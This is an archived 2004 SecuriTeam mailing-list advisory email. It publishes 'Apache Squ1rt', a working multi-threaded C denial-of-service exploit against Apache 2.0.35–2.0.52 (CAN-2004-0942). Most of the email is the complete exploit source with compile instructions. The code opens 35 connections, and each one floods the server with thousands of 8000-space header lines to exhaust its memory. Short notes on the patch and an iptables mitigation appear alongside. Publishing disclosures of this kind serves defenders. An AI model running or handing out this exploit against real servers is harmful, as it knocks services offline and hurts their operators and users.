Return-path: Received: from houseofcards.securiteam.com ([192.117.232.213]) by mail2.ewa.com; Thu, 18 Nov 2004 12:18:50 -0500 Received: (qmail 15790 invoked by uid 501); 18 Nov 2004 17:01:19 -0000 Mailing-List: contact list-help@securiteam.com; run by ezmlm Precedence: bulk X-No-Archive: yes List-Post: List-Help: List-Unsubscribe: List-Subscribe: Delivered-To: mailing list list@securiteam.com Delivered-To: moderator for list@securiteam.com Received: (qmail 14670 invoked from network); 18 Nov 2004 16:51:48 -0000 From: SecuriTeam To: list@securiteam.com X-Mailer: Beyond Security Mailer Date: 18 Nov 2004 18:51:48 +0200 Subject: [EXPL] Apache Multiple Space Header DoS (Multi-Threaded Exploit) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Apache Multiple Space Header DoS (Multi-Threaded Exploit) ------------------------------------------------------------------------ SUMMARY The exploit code below is another version of the Apache 2.0.52 DoS vulnerability published previously here: Apache Multiple Space Header DoS. DETAILS Versions between 2.0.35 and 2.0.52 may be vulnerable, but only down to 2.0.50 was tested. This attack may be preventable with a properly configured iptables ruleset. This exploit is multi threaded version (implemented with pthread) and should be compiled appropriately. e.g: gcc -lpthread -o apache-squ1rt apache-squ1rt.c Exploit Code: /* Apache Squ1rt, Denial of Service Proof of Concept Tested on Apache 2.0.52 j0hnylightning at gmail dot com dguido at gmail dot com Sends a request that starts with: GET / HTTP/1.0\n 8000 spaces \n 8000 spaces \n 8000 spaces \n .. 8000 times Apache never kills it. Takes up huge amounts of RAM which increase with each connection. Original credit goes to Chintan Trivedi on the FullDisclosure mailing list: http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html More info: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942 Versions between 2.0.35 and 2.0.52 may be vulnerable, but only down to 2.0.50 was tested. This attack may be preventable with a properly configured iptables ruleset. Gentoo already has a patch out in the 2.0.52-r1 release in the file 06_all_gentoo_protocol.patch v2 Rewritten to use pthread. gcc apache-squ1rt.c -lpthread */ #include #include #include #include #include #include #include #include #include #include #include #define DEST_PORT 80 void *squirtIt(char *hName); char attackBuf[8000]; char letsGetStarted[128]; int main(int argc, char **argv){ int num_connect; int ret; pthread_t tid[35]; sprintf(letsGetStarted, "GET / HTTP/1.0\n"); memset(attackBuf, ' ', 8000); attackBuf[7998]='\n'; attackBuf[7999]='\0'; if (argc != 2){ fprintf(stderr, "Usage: %s \n", argv[0]); exit(1); } for(num_connect = 0; num_connect < 35; num_connect++){ ret = pthread_create(&tid[num_connect], NULL, (void *)squirtIt, argv[1]); } /* assuming any of these threads actually terminate, this waits for all of them */ for(num_connect = 0; num_connect < 35; num_connect++){ pthread_join(tid[num_connect], NULL); } return 0; } void *squirtIt(char *hName){ int sock, i; struct hostent *target; struct sockaddr_in addy; if((target = gethostbyname(hName)) == NULL){ herror("gethostbyname()"); exit(1); } if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("socket()"); exit(1); } addy.sin_family = AF_INET; addy.sin_port = htons(DEST_PORT); bcopy(target->h_addr, (char *)&addy.sin_addr, target->h_length ); memset(&(addy.sin_zero), '\0', 8); if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){ perror("connect()"); exit(1); } send(sock, letsGetStarted, strlen(letsGetStarted), 0); for(i=0; i < 8000; i++){ send(sock, attackBuf, strlen(attackBuf), 0); } close(sock); } ADDITIONAL INFORMATION The information has been provided by Daniel Guido. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.